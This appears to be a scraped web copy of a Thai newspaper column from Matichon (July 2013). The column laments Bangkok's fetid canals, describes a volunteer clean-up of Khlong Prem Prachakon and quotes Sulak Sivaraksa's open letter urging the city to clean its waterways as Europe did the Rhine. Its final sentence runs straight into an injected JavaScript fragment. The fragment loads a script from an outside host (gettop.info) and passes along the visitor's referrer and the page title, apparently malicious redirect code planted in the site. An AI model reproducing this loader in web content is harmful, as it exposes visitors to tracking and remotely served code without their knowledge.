Download PDF

p>มติชนรายวัน ฉบับประจำวันพุธที่ 17 กรกฎาคม 2556

          ชุมชนเก่าแก่ริมแม่น้ำลำคลอง มีประวัติศาสตร์ความเป็นมายาวนานเท่าไรก็ตาม จะเสมือนนรกขุมใหญ่ในทันที ไม่มีเว้น เมื่อน้ำเน่า

          นรกหมกเหม็นที่เห็นด้วยตา หาได้ไม่ยากใน กทม. ให้ดูในชุมชนริมคลองน้ำเน่า ทั้งคลองเมือง คลองขุด และคลองธรรมชาติ ซึ่งมีทั่วไปทั้งฝั่งกรุงเทพฯและฝั่งกรุงธนฯ

          คุณขรรค์ชัย บุนปาน ประธานฯมติชน ชูแนวทางมาแล้วหลายปีว่า “แบ่งปันความรู้ เชิดชูศาสนา พัฒนาแหล่งน้ำ”

          ล่าสุดร่วมด้วยช่วยกันหลายฝ่ายทั้งทหารตำรวจและพลเรือน ตลอดจนนักเรียนและครูบาอาจารย์ หน่วยราชการ (เช่น กทม.) และภาคเอกชน ทำความสะอาดคลองเปรมประชากร ตั้งแต่หน้าทำเนียบรัฐบาลยาวตลอดจนสุดคลองไปทะลุแม่น้ำเจ้าพระยาที่อ. บางปะอิน จ. พระนครศรีอยุธยา

          แต่ยังไม่จบเท่านี้ คุณขรรค์ชัยและใครต่อใครอีกมากยังต้องทำอีกมากมายหลายคลอง (อาจตลอดชีวิต)

          ล่าสุด อ. สุลักษณ์ ศิวรักษ์ เขียนจดหมายเปิดผนึกผ่านเฟซบุ๊ก ถึงผู้ว่าฯ กทม. ขอให้ทำหลายเรื่อง แต่มีเรื่องหนึ่งให้พัฒนาแม่น้ำลำคลองในกรุงเทพฯ ดังนี้

          “ควรมีโครงการลอกแม่น้ำเจ้าพระยาและคูคลองต่างๆให้สะอาด โดยใช้ทางน้ำสำหรับสัญจรแทนทางบกได้มากเท่าไรจะเป็นคุณมากเท่านั้น แม้จะเป็นเรื่องยากแต่ก็ไม่พ้นวิสัยสามัญมนุษย์

          โดยอยากเรียนเตือนว่าแม่น้ำไรน์ในยุโรป ซึ่งเคยเน่าเหม็นมานาน และไหลผ่านหลายประเทศและทะเลสาบเยนีวา ซึ่งก็คลุมไปยิ่งกว่าหนึ่งประเทศ

          แต่แล้วเขาก็แก้ไขจนแม่น้ำและทะเลสาบที่เอ่ยชื่อมานี้ บัดนี้ น้ำใส ไร้มลพิษ ตกปลากินได้ ว่ายน้ำกันได้ อย่างน่าอภิรมย์ เราจะถือว่าฝรั่งทำได้ แล้วทำไมไทยจึงทำไม่ได้”

          (โพสต์ทูเดย์ ฉบับวันศุกร์ที่ 12 กรกฎาคม 2556 หน้าวิเคราะห์ 1)

          อ. สุลักษณ์ แนะว่า “ถึงจะไม่สำเร็จเรียบร้อย ก็ขอให้เริ่มไว้ อย่างเป็นมรรคเป็นผล”

          พัฒนาแหล่งน้ำ ทำความสะอาดแม่น้ำลำคลอง ต้องถือเป็นงานทางวัฒนธรรม ทั้งของกรุงเทพฯและของไทย ทั้งของชาวบ้านทั่วไปและของนักวิชาการ (โดยเฉพาะด้านประวัติศาสตร์โบราณคดี) ที่ต้องร่วมกันทำต่อเนื่องทั้งชีวิต ชั่วนิจนิรันดร หยุดไม่ได้

          ถ้าหยุดก็เน่านรกหมกเหม็น ดังเป็นและเห็นอยู่แล้ว เพราะไม่ทำต่อเนื่อง} else {s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;